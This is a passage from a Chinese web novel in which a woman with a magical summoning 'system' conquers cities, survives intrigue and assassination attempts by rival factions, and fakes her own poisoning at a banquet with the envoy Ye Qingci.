最不可思议的是,每名甲兵,都如此强大!
回头一看,带来的安卫兵有条不紊扎营、埋锅造饭。几员副将在营地悠闲转悠来去,监督队伍。旁边同样在关注战局的**喜,注意到他扫视过来惊讶的目光,笑笑。
“甄大人,现在你该明白,咱们这位大人,有多强了吧?”
听着他轻声说话,甄云瞧向不远处盯着甲兵冲城的苏蓉,心情复杂。
怪不得**喜很早之前,就敢破釜沉舟,率整个家族追随苏蓉,并且比任何人勇于支持苏蓉当政。
虽然**苏蓉有什么样的神奇手段,但他敢肯定,苏蓉手下这批甲兵非人类!
肉体凡胎,根本无法冒着密集的炮火箭雨,不借助任何攻城器械冲城。最震撼的是,这样厉害的甲兵,不是一人,而是很多人!
集结在苏蓉麾下,越来越多。
掌管后勤账册,他很清楚这些甲兵,既没有领取俸银,也没有任何资料留下,甚至连一粒粮食也没有吃过军中的。
实在神奇!
不过他马上和**喜一样的想通了。
追随这样强大的主子,一路躺平就能实现生平夙愿,何乐不为!
费时一刻,当第一名甲兵飞身掠上城头,开始肆意屠戮敌兵之际,系统声音在苏蓉耳边悦耳地响起。
“恭喜主人,金手指升级!”
“目前撒豆成兵,突破千**关!主人除了能同时召唤千名甲兵,包含十名金甲兵、百名银甲兵,还能刷新一员玄铁甲战将!”
“此战将时效为永久,可以自由命名。除非主人主动解散,永远不会消失!”
**喜和甄云听到苏蓉突兀地笑起来,声音清脆。在喊杀声震天的战场,异常突兀,不由得面面相觑。
等再回头看去,苏蓉身边,鬼魅般出现一人,身材修长。
不是甲兵那种普通人长相,无论看多少次也记不住的五官。而是美如冠玉,一身玄铁甲如艺术品般精美。
兜鍪上大红簪缨及肩后猩红披风,如同血液在黑夜中徜徉流动。
他手里拿的武器也十分怪异。是种看不出材质的巨大乾坤圈。合起来为圆环,拆开来是一对弧形弯刀。
仅听过传闻,从未亲眼见证过这种武器的**喜等人,盯着对方那武器猛看。
甄云打量对方相貌,凛凛生威的强大气势,却是不由自主自惭形秽。
这
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人生得……
连探花郎叶清辞也比不上他。
神将莅临,凡尘俗夫,安可比拟?甄云心中,涌出一股既酸涩又莫名得意的复杂情感。
苏蓉全身心放在浒关上。
刷新出的战将让她晃了晃心神,很快反应过来,随便给对方取了个名字。
“风,助我拿下浒关!”
玄铁甲战将恭敬朝苏蓉单膝着地,左手执乾坤圈,右掌贴放在左胸前:“风,谨遵吾主号令!”
一言莆毕,站起身来,身形化为一道黑红的光,朝浒关冲去。
众人眼睛一花,没看清楚风怎么登上城楼的,下一瞬风出现在城头上。傲然面对汹涌如潮水扑上来的守军,手中乾坤圈一拆为二。
两把圆弧刀带着令人惊心动魄的尖啸,化成两团不停飞旋的寒光出手。
最近一圈守军脖子一凉,无数颗人头冲天飞起,上百具颈腔汩汩冒血的无头躯体轰然倒地!
在其他守兵此起彼伏的尖叫中,两团寒光回到风手上。“咔嚓”一声!双刀重新合二为一。风信手挥舞,又收割走一波人头。
守兵们一开始奋勇争先,见此情形,个个又魂不附体惨嚎,拼命拥挤在一起,生怕被后方同伴推向前方。
风信步游走千军万马中,带着君临天下的气势。下一息出手,乾坤圈从半空呼啸着滚过去,极为轻松写意,切掉在后方气急败坏督战的浒关守将人头!
伴随浒关守将人头落地,数百名甲兵,纷纷攻上城楼。
一面倒的屠戮,就此开始。
取名废苏蓉,在城下用肉眼捕捉不到风的身影,暗想:“风这个名字取得挺贴切,下一次若还有战将刷新,就叫雨雷电吧,好记又好听。”
其他人眼睁睁看着甲兵们斩关落锁,放下吊桥,就等这一刻了!**喜挥舞宝剑,对三千休息好已集结起来的骑兵大喊。
“兄弟们,冲啊,占领浒关!京畿重地对我们打开大门了——”
“喔喔喔!”
安卫军精神大振。
进京,进京!
战利品们,我们来了!
第182章 最是无情帝王家
一天时间,苏蓉顺利接手浒关。
更好的消息是,因为昭城、定县、石威三城发兵救援浒关,被苏蓉打残,本城空虚,短时间内三皇子无法派兵救援。
兵贵神速。
休整半天,苏蓉留下五百安卫军把守浒关,剩下人马一分为二。风带领二百甲兵、一千骑兵,齐和安为副将,攻打昭城;苏蓉、甄云则率余众进军定县。
风一人足以匹敌千军万马。
苏蓉还没赶到定县城下,捷报已传递到手中:风轻而易举拿下昭城。
定县县令为救援浒关,派出大部分兵力,县内一堆老弱病残。苏蓉军这么快的速度攻破浒关,兵临城下,他彻底心凉了。
不等苏蓉下令攻城,让人在城头挥舞白旗,表示投降。
苏蓉接见对方使者,听甄云说定县县令除了平庸点,没什么过往劣迹,同意定县县令投诚后保留官职。
定县县令这才敢开城门迎接苏蓉军队入城。
甄云着手帮助定县县令安民,苏蓉任命齐和安暂时管理昭城,将风调回身边。下一步,遣风为主将,**喜为辅,进军石威。
三座城拿下后,京畿重地她占据三分之一,差不多花掉一个月时间。这还是路途遥远的原因,否则她早就坐上金銮殿那把龙椅了。
而仍然在顾明城展开拉锯战的三皇子、太子得到消息,感觉天塌了。
他们这帮饭桶手下,究竟有多么无能?
一个月丢掉三座城!
景渊再一次感觉到,他低估这个苏氏!而且是严重低估!
费这么久时间,他的军队没能拿下顾明城,一直处于与三皇子主力苦战中。但是鹬蚌相争,渔翁得利!
安卫军都快攻进京城老家了?
不说三皇子惊慌,景渊也雷霆震怒,逼问后方:“叶清辞在做什么?”
他明明让叶清辞对安卫城用兵!即便一时半会拿不下这座城池,能拖住苏蓉势力注意力,也是好的。
但是,怎么就让苏蓉腾出手,攻打到老家了?
探马回报:“殿下,二、四皇子连同乌蛮人,进军柏州。叶县令集结平城兵力,竭力抵抗。”
向来优雅从容的太子殿下,嘴里挤出一声国粹。
生平第一次,他对从没放在眼里的苏蓉,有了深深忌惮。该不会,九死一生,最后败于一个女人之手吧?
他此刻无比后悔,当初为什么没有同意认可对方的条件!
知府一职又不是多高官位,他完全给得起。
利用叶清辞与之的关系,他还能顺便将对方收归己用。对方的实力,说不定现在什么势叛乱都给他平定,他已顺利荣登九五至尊。
等拥有天下,再回头清算旧账,剪除异己,不是更容易的事?他怎么当时就傻了,非得逼反那个女人。
现在只剩阿辞……
这个唯一能对对方造成影响的人,要抓住好好利用了……
顾不得两军对垒,**隆隆。景渊返身回到主帐,写下一封密信交给手下。
“让丰安知府再调一万兵,前往平城支援,挡住敌军。命令平城县令叶清辞,严格遵照这封信的指令行事。”
随同亲笔信发出的,还有一个用黄缎严实包裹的白玉小瓷瓶。
幕僚在旁,大为担心。
“殿下,柏州再出一万精兵,就不剩什么守军了!那是我们最后的依仗。”
景渊冷着脸:“苏氏不除,再多兵力对我们无济于事。一万兵调遣至平城,叶清辞才能分身去执行孤信中的指令。”
幕僚有点迟疑。
“殿下,若是叶大人不听您的指令……”
牵一发动全身,那他们就很危险了。毕竟现在殿下给了叶清辞实际掌兵权。
“阿辞不会背叛我的!”
景渊自信满满。
就算背叛也不打紧,他眼中杀过一抹杀气。
“他的母亲、堂弟、族人……全在我手中。”
幕僚说不出话,担忧地望向帐外信使离去的身影。
他有种不该这么威逼使用叶清辞的感觉。少年成名、胸有沟壑的探花郎,本来非常尽忠于皇家的。可因为昭宁公主,先帝已狠狠打压过对方一次。
难道这次,殿下又要用错手段……
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但殿下死里逃生后,性情变了很多,刚愎自用。他们作为幕僚,建言很难让殿下听进去多少。
信使连同丰安城调出的兵,同时抵达平城。
正着手布防,准备奇袭二、四皇子和乌蛮人联军的叶清辞,屏退左右,拿起密信拆开。
信上的内容很简单,中心就两句指令。
与苏氏势力和谈。和谈不了,刺杀苏氏。
这瓶药水无色无味,只需一滴滴在饭菜中,任华佗再世,无力回天!
至于为什么是**而非派出刺客,叶清辞很明白。强如燕彬都接不下苏蓉身边甲兵一招,想杀死苏蓉,只能来阴的。
而阴的,就是利用苏蓉对他的信任和爱意。
借亲自出使之际,将无色无味的**,下在苏蓉饭菜中。
苏蓉不会对他有任何提防。
景渊甚至没有在信上明白威胁他。只是像老友般,信末尾安抚他一句——
汝安心赴事,汝之亲族,孤自善护之。
叶清辞放下信纸,慢慢拿起那瓶**。只觉那药瓶似有千斤重,传递到指尖一股彻骨寒意。不消片刻,浑身血液凝固、凉透。
果然……
最是无情帝王家!
当初那个笑得霁月光风的少年,口口声声唤他“阿辞”,要与他做一对千古君臣、一生知己的太子殿下,早就忘了曾经许诺。
从头到尾,铭记此誓言的,只有他自己。
凝视烛火舔舐灯芯,烛火跳跃时,红亮在明暗间吞吐。他把密信放在上面,滋的一道青烟蹿起,很快迷糊了视野。
傅振、幽临返乡,至今杳无音信。很显然,他们遭遇挫折,没能完成使命。
家人、族人,苏娘子……
他必须有个抉择了!
残灯燃尽,晨曦微露。一夜未眠的叶清辞,从椅子上撑着扶手艰难起身,拿起桌上那小瓶**揣进怀里。想开口,发现声音嘶哑了。
猩红着眼睛,努力几次,才从喉咙里往外挤出声音。
“来人,召集众将议事。”
出使之前,他得先把平城事务安顿妥了。
第183章 蛔虫
拿下京畿重地三座城池的苏蓉,此刻春风得意。
下一个目标,是定德城,仅次京城的大靖第二大城镇。拿下来,便能剑指京城。
总和八城加一道关卡的兵力,加上收编降兵、募集新兵,达到六万人,不包括她扩张到一千五百余的甲兵。
老规矩,新打下的城池,派驻一百甲兵协同地方军防守。官员考核提拔,由甄云、**喜二人共同主持吏部完成。
苏蓉任命风为中领军,调遣统率八城兵马,准备继续高歌猛进,蚕食三皇子已不多的地盘。
风将出征的军队分为四支,各配一百甲兵和两千兵马。由自己和四名金甲兵率领,分头包围住定德四道城门,团团攻打。
定德是不逊于京城的大城,苏蓉表示对其稍微尊重了点。让出征军队带上几架攻城云梯,还有几门**。
以前人手少怕损耗,现在觉得新兵同样需要锻炼。不从战火中淬炼成长,将来如何保家卫国?
她人在,甲兵在。人不在呢?
**喜和甄云等人赞同她的观点。确实不能一直跟在甲兵身后,只干搜刮战利品的事了。有如此强大甲兵助阵,正是他们练兵之时!
令旗一展,苏蓉军气势磅礴,勇猛随同甲兵冲城。虽然他们做不到以一当百,以一当一,以一当二是完全可以的。
敌军倒是想拼命,杀一个够本,杀两个赚一个。
奈**猛的甲兵根本不给他们围剿普通士兵的机会。眼看同队士兵被包围住了,苦战不下,便有甲兵回防,轻飘飘将敌人捏成肉饼。
这不像攻城,倒像练兵来的。
定德城守将气歪鼻子。不过轮不到他再次指挥号令,风的乾坤圈带着惊心的金属鸣叫呼啸而来,轻松收割走他的人头。
回旋路上,还顺带好几名守兵陪葬。
风屹立在城垛上,单手接住沾满鲜血的乾坤圈,低眉垂眸。
俊美的脸不带一丝表情,俯览脚下尸横遍野,血流成河。黑红色衣袂猎猎飞舞,如同死神审视自己的游猎场。
即使是麾下军士也觉得,这位横空出世的主将,视所有人为蝼蚁,过分冷酷。何况被彻底杀胆寒的敌人!
当一名金甲兵打开城门,放下吊桥。失去主将的定德城守兵发一声喊,四散奔逃。
风带兵闯进官衙,一群文官胥吏,战战兢兢跪在庭院里,高举官印库房钥匙投降。
随同风来的还有两名府城派出的文吏,不需风多操心,立马开始接管定德城诸事务,出榜安民。
不算赶路行军的时间,其他人以为至少僵持几天几夜难以夺取的城池,半天时间被风占据。
上午攻城,黄昏时分德城一干高官的头便悬挂在城门。
得到信息的诸势力被完全干沉默了!抓着探子再三询问,真不是定德城一干官员叛变,将城池拱手献给敌人?
三皇子当天撤军,放弃顾明城,连夜滚回京城。现在只有京城的高墙重兵,才能让他感受到一丝喘息。
太子景渊费尽千辛万苦,终于拿下顾明城,一点不开心。
他还在这里被三皇子拒于关卡外,可苏蓉军已经突破进京畿重地,打下四座城池!
此消彼长,对手短时间内,竟然成长为诸势力的心腹大患。
景渊眼中划过阴狠的光,心中默念。
“阿辞,看你的了!能阻挡这个女人的,现在只有你!”
定德城又比府城水沛大上两三倍,资源富饶。
苏蓉手下文武陷入新一轮纠结中:要不要迁居到定德城呢?
人往高处走,水往低处流。想要势力得到更好发展,那指定要学孟母三迁。
甄云执反对意见:“我们眼光应该放长远。定德算什么,京城才是我们最终的都城!要迁,等打下京城再迁!”
所有人眼神激动地望向苏蓉。
现在没有一个人会质疑己方势力的强大!
谁能想到,追随苏大人短短几个月,他们能取得这般辉煌战果?
之前家人朋友还忧心忡忡,担心他们跟着苏蓉,有一天兵败会导致灭九族。
现在……
他们说不定有从龙之功!
不过现在他们也有一个致命弱点。
地盘打得太快,摊子铺得过大,一时间九座城一道关卡都急缺大量文武官员,还有基层胥吏。这就导致每个人要干好几个人的活,累死累活。
周边
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势力不是没有反扑,幸亏每座城池苏蓉都会派遣百名甲兵镇守,固若金汤。不然,大家会更加手忙脚乱。
早会时**喜建言。
“大人,我们应该稍微放缓扩张势力的节奏,好好把已打下的九座城、一道关卡稳固梳理。举办一次科举和武举的地方考核,选拔人才,补充地方官员和胥吏。”
“陈大人言之有理。”
甄云看苏蓉一眼补充:“各城空缺大量职位。男子中选拔人才困难,一些不重要的胥吏,可以挑选府学培养出的女学生担任。”
“她们中有些人才华横溢,能书能算,相较男子更是细心,可以尝试安排她们辅佐大人!”
苏蓉竭力压下上弯的唇角。
甄云真是她肚子里的蛔虫!
知道她想做什么,帮她做什么。她不好直接提出来的,甄云主动提出来。有甄云这个文官的领头羊支持,女子参政,润物细无声地会影响她所在势力。
等她登上高位,整个天下女子地位提高,水到渠成。
**喜等人相视一眼。
只是胥吏,没有实权。缺人之际,倒是个很好的解决方法。最重要的是,女子容易掌控,没什么野心,不怕她们将来对己方势力造成威胁。
会议一致通过甄云提议。
苏蓉当天下令,将姜婉任命为六品文官通判,协助自己处理公务,兼任府女学校长。
金冬梅提拔为府女学副校长,管理府女学日常。
安排两人负责此次女子参加地方科举,竞考各城胥吏的工作。女子考卷较男子考卷难度低,毕竟竞争上岗的职位不同。
现在的女子,因环境条件所限,担当不了一方父母官重责。不过假以时日,必有巾帼奇才出现。
苏蓉忙于处理雪花般飞来压在公案的各地案件、信件。风统率三军,巡视九城,诸势力无人敢越雷池一步。
三日后秦津派人从安卫城送来一道消息:平城县令叶清辞,代表太子景渊第三次出使,要到水沛城来拜见大人。
询问是否允许通关?
苏蓉手指捻起那封呈递的信,头脑陷入一片混乱的沉默。
这个时候了,还来做什么呢?
第184章 各为其主
甄云在旁,眸光一闪,问报信人。
“这位叶大人亲自出使,带了多少兵马?”
报信人回答:“只带了一位副使,几员随从。”
“这位叶大人,倒真是胆大自信!”
甄云冷哼,与**喜一对眼色。
苏蓉没瞧出来手下两大重臣心怀叵测,心里只觉得叶清辞这是对她的极度信任,才不带一兵一卒。不由得高兴,下令。
“吩咐沿途城镇关卡,不得留难叶大人一行,让他们尽快赶来水沛城!”
她寻思叶清辞这次出使,是带了太子下达的使命,还是自己想通了什么。心里犹豫要不这次干脆把人扣下来?
灭掉伪帝,迟早会与柏州兵戎相见,她实在不愿叶清辞夹在中间为难。与其让叶清辞背负不忠不义的骂名,倒不如自己当个恶人,先将人软禁。
但是,叶清辞会因此恨她吗?
散了会,不提她回到府內宅百般纠结,甄云也拉着**喜找个没人的地方密谋。
“陈大人,咱们大人过于信任那个探花郎。谁知道对方此次来,怀了什么不可告人目的?我们不能让他这么轻易见到大人!”
**喜也对此事犯愁。
自家大人是个女子,就这点不好!
辛苦打下来的地盘,极可能因脑子发昏,拱手让给横空出世的小白脸。
一朝天子一朝臣。若那叶清辞成了主宰或则干脆并入太子势力,他们这些跟随苏大人的人算什么?臣子的家仆、奴才?
明明有从龙之功,成为佐命元勋,一下子打回原形,说不定还背上谋逆罪名……
苏大人不会真那么拎不清吧?
想着苏蓉对叶清辞的感情,心里没底。
“大人已经知道那叶清辞要来,你我岂能阻止?”
**喜心里抱怨秦津是个只知道讨苏大人欢心的蠢货!
这种事你随便找个借口把人拦了,再挑拨两句,苏大人不就对那小白脸生隙了?枉费他和甄云在这头疼。
甄云冷哼一声。
“从安卫城到水沛城,有好几天路程。周边城镇刚收复,沿途可是不怎么太平。这位叶大人,倒是颇自负只带了几员随从……”
两人对视一眼。
**喜放下手中茶杯,淡笑。
“待我安排人手,给这位叶大人来场欢迎仪式!”
甄云没说话。**喜起身后,他才轻轻说了句:“做稳妥点。”
**喜冲他点了个头,大步流星离开。甄云独自坐在房间内,眺望窗外黑漆漆的夜色。片刻,发出一声低低喟叹,伏案继续翻看堆积如山的卷宗。
这些挑出紧要的,明早还得给大人送过去。
虽劳苦但甘心情愿。
叶清辞进入云州后,沿途所见,吏治清明,百姓安居乐业。官兵甲胄鲜亮,巡逻时队伍整齐,全无从前半分骄横气。
领头校尉甚至会带路绕开街头嬉戏孩童,避免冲撞。
傅振好奇上前询问,几名百姓无比骄傲。
“我们苏大人说,官兵选拔自民间,是老百姓的子女。所以,应该称为人民子弟兵!人民子弟兵不为人民,参什么军?更谈不上保家卫国!”
现在官兵饷银大大提高,一人入伍光荣,能养活一家人。加上有苏大人强大的私兵保护,几乎做到零伤亡。
谁不削尖脑壳积极投军?
能幸运被招募进驻军所,意味着至少十年内小家不愁饭吃。那当然要遵纪守法,唯恐被开除了。
爱护老百姓,就是爱护他们自己。
傅振回到叶清辞身边,有些感叹地道:“没想到苏娘子手下有一帮能人,把这些打下来的城镇,治理得比柏州还好!”
本来大人也有这般能力的,可惜太子景渊不肯给予信任和放权。
叶清辞伸手慢慢按在胸前,触及到贴身放着的药瓶,手指仿佛被滚烫的火苗灼伤,迅速弹开。
“别说了,快赶路吧,不然会错过下一处宿头!”
苏蓉军打下地盘不久,忙着修复城墙,巩固民生。驿站延续前任留下的,人员没有配备齐,别说里面的基础设施了。
要吃好住好,只能投宿客栈。
叶清辞随从不多,拿着安卫城官府发的路引,只想
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尽快赶到水沛城。毕竟太子景渊目前如同坐在**桶上,心情阴晴不定,他怕对方忍耐不住突然爆发。
不过出城时盘查严格,紧赶慢赶,当晚还是露宿荒郊。
叶清辞回忆过关时百姓质疑,为何今日盘查比平日慢了许多?守城官兵看向他们,些许闪烁的目光,心里有所猜疑。
等几名侍卫搭好帐篷,将人召集到身边,暗中吩咐:“今夜别宿在帐篷内,大家分散开来躲在营地附近,夜里警醒点!”
辛苦搭完帐篷的傅振几人面面相觑。但主子既然这么说,肯定有理由,他们只好听命行事。
夜里,迷糊蹲在草窝里,蜷曲睡在树杈间的叶清辞一行,听到异常响动。
“唰唰唰——”
一阵**似的乱箭后,他们搭起的帐篷被射得千疮百孔。这且不够,最后几支拖着长长火苗的火箭飞过来,“轰”然**,将他们营地瞬间变成一团火海。
傅振几人眼睁睁看着这一切,脊背发凉。
若不是叶清辞警惕,他们此刻睡死在帐篷里,早被射成马蜂窝,还被火烧成灰烬!
能动用火箭,一般宵小路匪可没这个本事。傅振沉不住气,带领几名侍卫从暗处扑出来,杀向一帮刺客。
而对方无比机灵,放完箭便撤,绝不给他们反扑机会。
傅振扑了个空,骂骂咧咧带人回来。只见叶清辞独留原地,望着卷入熊熊大火的营地发呆。
傅振气愤道:“大人,这是不是三皇子、或则二、四皇子的人不想我们与苏娘子和谈,故意派人来行刺,好让我们对苏娘子生出间隙,从而破坏这次和谈?”
他绝不相信苏蓉会对大人和他下手。
叶清辞过了很久才收回凝视火焰的视线,缓缓摇头。
“人……是会变的!”
傅振一窒,内心忽然翻江倒海的难受。
叶清辞垂下眼眸。
“收拾行李,我们连夜起程,到下一个城镇再投宿。”
不管是谁想要他的命,到了城镇,安全得多。好在他们预先藏起行李,损失的只有两顶帐篷。
第185章 人会变
苏蓉计算叶清辞一行的行程,比预计推迟一天。这一天,急得她坐立不安,寻思出了什么事,又不好直接向手下人打听。
毕竟身为一方势力首领,过度关注敌方使者安危,有点奇怪。
好在第二天早会时,柏州使者抵达水沛城的消息传来。苏蓉压抑住内心喜悦,忙让人将对方一行请进府衙。甄云和**喜面上异样神情,她没注意到。
等叶清辞一行来到大堂,一身风尘仆仆便罢了,几个人或多或少身上带伤,令苏蓉吃了一惊。
忙起身走下台阶,想拉着叶清辞、傅振两人看伤势。她自以为领地尚算太平啊,怎么叶清辞一行如此狼狈?
难道他们没有走官道,绕行到偏僻地带了?顿时心里起了杀念:“叶大人,你们是在哪里遭遇匪徒的?我立即派人去当地联络官府,肃清匪患!”
百废待兴,很多地方官是第一次从政,有疏漏地方难免。但竟然有人敢在她的地盘打家劫舍,那必须斩草除根!
叶清辞神情冷淡抽回手臂,往后退两步远离苏蓉。
“不劳苏大人费心,一点皮外伤而已。”
抬起眼,目光锐利,在甄云、**喜等人脸上一掠而过。
傅振没好气对苏蓉道:“苏大人,贵方所辖地确实该好好治理一番。这群匪徒,从安卫城一直追踪我们到水沛城,沿途几波刺杀我们大人!”
“知道的呢,说你苏大人治理无方;不知道的呢,以为是你们派出刺客,故意乔装打扮追杀别州使臣!”
“两军交战,不斩来使懂不?”
苏蓉心头一颤,看眼甄云、**喜等人,再回头来面对叶清辞的冷淡莫名。顿了顿道:“我会查清楚这件事,对贵方有个交代……”
“来人,快去请大夫,安排柏州使者先住下!”
叶清辞对苏蓉点点头,带着傅振几人先去休息了。一路为避开刺客骚扰追杀,晨昏颠倒特意绕路,着实累得不轻。只想先养精蓄锐,包扎好伤口再说。
苏蓉目送他们走远,转头看向甄云、**喜等人,面色顿时沉了下来。
她又不蠢,手下人强烈反对她与叶清辞的感情,她不是不知道。但敢背着她对叶清辞一行下手,置她于何地?
于公于私,这是非常僭越的行为。
“其他人先退下,甄云、**喜两人留下!”
气恼起来,直呼其名。
**喜内心打鼓。
苏大人还是第一次对他这么不客气。那个叶清辞,对苏大人真这么重要?一时间,他不由生出一丝悔意。但瞅身旁甄云,眉眼不曾动分毫。
等大堂走得只剩三人,甄云从容撩起袍角,对着苏蓉跪了下来。
“大人,这是我一人主意,与陈大人无关,请大人先让陈大人出去!”
**喜动容,连忙也撩袍在他身旁跪下。
“大人,这是我一力主张,甄大人只是……”
“闭嘴!”
苏蓉怒冲脑门。
“我知道你们很多人对叶大人不满,各为其主,这点无可厚非!但这次叶大人奉命出使云州,若在云州出事,我们在其他势力眼中,有**义可言?”
“两军交战不斩来使知道吗?暗杀这么不入流的手段,你们也能使出来?”
“再说叶大人他就一个人,我真要进兵柏州,谁能挡得住?”
这群笨蛋手下约莫怕她顾及儿女私情,被叶清辞一劝投降柏州。当她傻的?
太子景渊那种人,不值得信任!她怎会将自己和家人,还有手下那么多人的性命,交到人家砧板上?
再说她触摸到那把宝座的边缘了,明明有一统天下的实力,偏要因为男人对他人俯首称臣。
这么干了,不仅她自己瞧不起自己,老天怕也会用天雷劈死她,收回赐予她的金手指。
她的野心,早在不知不觉间膨胀发酵。现在的叶清辞,根本阻止不了她前进的脚步。
甄云抬头看着苏蓉。
“大人若能下决心一统天下,造福万民,甄云愿意俯首认罪,任大人将卑职交给叶清辞处置!”
苏蓉嘴角抽搐下。
这混账以退为进!
犹豫两秒,上前一手一个,搀扶起两人。
“你们二人是我倚重的左膀右臂,为稳固咱们势力,立下汗**功劳。我怎会因为一个外
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人……敌人派来的使者,怪罪你们?你们也是为了咱们势力着想……”
闻言,**喜挺感动的。
大人竟然将他们排在小白脸之前?谁说大人只重儿女情长的!
“不过往后,你们可不许再背着我做什么事情了!”
甜枣给了,苏蓉开始祭出大棒,眼中含着凌厉杀气:“否则,即便是你们两个,我也绝不会放过!”
如今的她,尸山血海中走出来。手上人命成千上万,早已不是当初宜阳县那个卑微的洗菜娘。
之所以饶恕两人这次,也是念着一起共患难、打天下的情谊。但两人位置,不是没人可以代替。
**喜心头一凛,双手抱拳。
“大人放心,卑职等以后绝不再自作主张!”
“大人……人都是会变的。”
甄云注视准备去客房探望叶清辞一行的苏蓉,沉默一息,开口。
“您心目中那位刚正无私的叶青天,现在有自己的主子。他的家人,也在柏州,处于太子势力控制下。这种敏感时期由他来出使,真没有什么猫腻吗?”
苏蓉心头一动,收回往外迈的脚步,回头直盯着甄云:“你什么意思?”
甄云郑重拱手。
“大人,请别给他伤害您的机会!”
脚步些许飘忽来到客房,见到正被大夫包扎伤口的叶清辞等人,苏蓉一阵神思恍惚。
脸还是那张脸,人还是那个人。
可对方……真会如甄云所言,对她不利吗?
她相信叶清辞绝不会因为自己想苟活,将她推出去献祭。但若是天秤砝码的那头,加上他的家人、宗族成百上千条人命呢?
她不敢想下去。
换位思考,冬梅、小兰、谭敖、这么多跟随她的手下,九城数十万的军民,早已重要过叶清辞一人。
苏蓉走到叶清辞旁边,慢慢坐下来,看着他胡子拉渣的脸。
短时间不见,这人瘦脱型,显得不修边幅。曾经意气风发的模样,荡然无存。眼中凌厉锋芒被现实挫平,长长睫毛垂下,掩盖不住周围那圈疲惫青黑。
她下意识伸出手,想抚平他眉心紧蹙。
第186章 **
叶清辞不着痕迹偏头向里,避了开去。
指尖触到一团冷空气,苏蓉默默把手收回,不动声色掠向自己发髻,随后起身。
“大夫,他们伤势如何?”
老大夫恭敬回报苏蓉:“大人放心,他们皆是皮外伤,已包扎上药,好好休息一晚即可。”
“辛苦你了。”
苏蓉客气,尹游将老大夫送了出去。傅振对几名同行人员丢个眼色,悄悄退出去,房间只留下苏蓉和叶清辞。
两人一坐一立,空气闷重。
片刻后苏蓉坐回床边,看着叶清辞,坦诚布公道歉:“叶大人,对不起!你们这一路被人行刺找麻烦,是我那不争气的手下,怕我被你蛊惑……”
“我会重罚他们俸禄。但……他们对我一片忠心,立功无数,是帮我治理云州的左右臂膀。所以,我不能因此杀了他们。”
叶清辞听得嘴角直抽。
苏娘子这……也实在太坦诚了吧?双方身份地位目前这么微妙,她其实连解释都不必有。但她却老实对自己交底了……
一时间,认为是苏娘子纵容手下,伤害自己的怨怼郁闷情绪,消散大半。
想开口,苏蓉接下来一句话,彻底把他干沉默了。
“我承诺你,只要你还在柏州太子手下,你们不主动侵略我方,我一定不会主动攻击你们。”
和平相处,这是苏蓉对叶清辞最大的让步。
天下那么大,她有实力直接对世界用兵,没必要一直盯着太子这个歪瓜劣枣。
不可否认,叶清辞深深动容。
苏蓉身份今非昔比。这种承诺,作为一方势力首领,意味着为他放弃什么不言而喻。
“没必要……”
叶清辞心里郁结的最后一点气,消失无踪。取而代之的,是无比释然与如流水般泉涌出来的情意。
对着苏蓉疑问睁大的眼睛,他微微一笑。
“我奉命出使,只是表面的出使。苏大人,我需要你……配合我演一出戏!”
门外。
“啪”!
傅振没好气赏了探头探脑一名随从的脑袋一掌。
“看什么看?退后点!大人正和苏大人培养感情呢。坏了太子大事,回柏州唯你是问!”
这几名同行者,是太子委派。既是对叶清辞的保护,也是监视。傅振门清,才不会让他们靠近,听到什么不该听的话。
即使他也不知道大人打的什么主意?
良久,苏蓉走出来,发髻有些散乱,脸色有些不正常的红晕,眼神闪烁,对傅振道:“傅大人,照顾好你们叶大人。明日,我设宴为你们接风洗尘。”
说罢,匆匆离开。
傅振有些莫名所以。不过几名同行来的柏州人员,倒是眼露暗戳戳的笑意,相互挤眉弄眼。
回到府后宅,苏蓉第一时间找来**喜和甄云,面授机宜。两人听着,惊疑不定。
甄云皱眉道:“大人,你真的如此信任这个叶清辞?”
苏蓉浅笑:“我不是也从没怀疑过你们?”
甄云哑然。**喜犹豫一下,抱拳:“大人,我们这就去安排明日的酒宴。”
说着,拉了甄云一把,两人一同离去。苏蓉关上房门,坐在床边默默感受与风的羁绊。下瞬,风声飒然,远在千里外巡城的风,悄没声息出现在屋内。
“吾主……”
苏蓉起身走到窗边,看看外面走廊庭院无人,方才放轻声音。
“风,有件很重要的事,拜托你去办……”
风不同于普通的豆子兵。虽也不苟言笑,但明显有自己的思维能力。鉴于对**大到异于常人,苏蓉说话不自觉变得十分客气。
听完苏蓉的吩咐,风没有丝毫迟疑,直接躬身抱拳:“谨遵吾主号令。”
苏蓉将窗户推大,看着对方人如其名,风一般平地卷起,消失在茫茫夜空。
翌日,府衙大排酒宴,款待柏州来使。
叶清辞坐在苏蓉身边,傅振由甄云和**喜作陪,坐在下手。其余水沛城有头有脸的官吏,按官位大小安排座次。
许多人见不得叶清辞和苏蓉一样坐在主位,暗道自家大人糊涂!对方明明是敌人派来的使者啊,怎么能奉为座
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上宾,甚至并排而坐?
对方若怀有恶意,这么近的距离,伤害大人就一刀的事!
但大人热诚招待对方,他们敢怒不敢言,说出来只是徒增己方笑话罢了。
为增加宴会喜庆气氛,苏蓉还安排了一台歌舞表演。表演人员是原城中一家青楼人员。
没错,为了逐步消灭逼良为娼的现象,**喜经苏蓉授意,在一家青楼开始试点改革。
如果凭借歌舞升平的局面也能大大创收,青楼人员没必要非得做皮肉生意。即便要做,也是那些爱慕虚荣的人主动下海。
从一定程度上遏制拐卖人口的现象。
大靖几千年的青楼文化,一刀切容易引发众多得利者的反弹。苏蓉打算用胡萝卜加大棒的手段,逐步将青楼文化转变为娱乐大众的正常演艺文化。
这些久经风月场的人员编排歌舞,还是很到位的。歌声靡靡,乐曲悠扬,舞姿曼妙。不止其他人,连苏蓉都被深深吸引住了。
全然没有注意,叶清辞悄悄拿出个小玉瓶,不动声色滴了一滴无色无味的液体在酒壶里。盖上盖子,拿在手里了晃,给苏蓉杯子斟满杯。
一直注意他动作的同行随从,见状心照不宣上扬嘴角。
“苏大人,谈判不成仁义在。来,为促使我们双方和平,缔结盟约,下官敬你一杯。”
苏蓉拿起杯子,跟他轻轻碰杯,眉眼弯弯:“叶大人,回去后请转告太子殿下,我苏蓉愿与他井水不犯河水。”
说完,在叶清辞欲言又止的神情中,将酒杯送到唇边。
甄云面含几分隐忍不住的怒气。自家主子对于此人,真是太给脸了!
**喜一手按住他肩头,冲他使了个眼色。甄云无奈接过对方送来的酒杯,重新将注意力拉回场中的歌舞表演。
突然,“啪”的一声,酒杯落在地上,摔得粉碎。苏蓉大叫一声,随即掀了席桌,踉跄着扑倒在一片狼藉中!
歌舞戛然而止,所有人惊慌失措地看向主位,只见苏蓉嘴角溢出一道黑血。
这是……
**?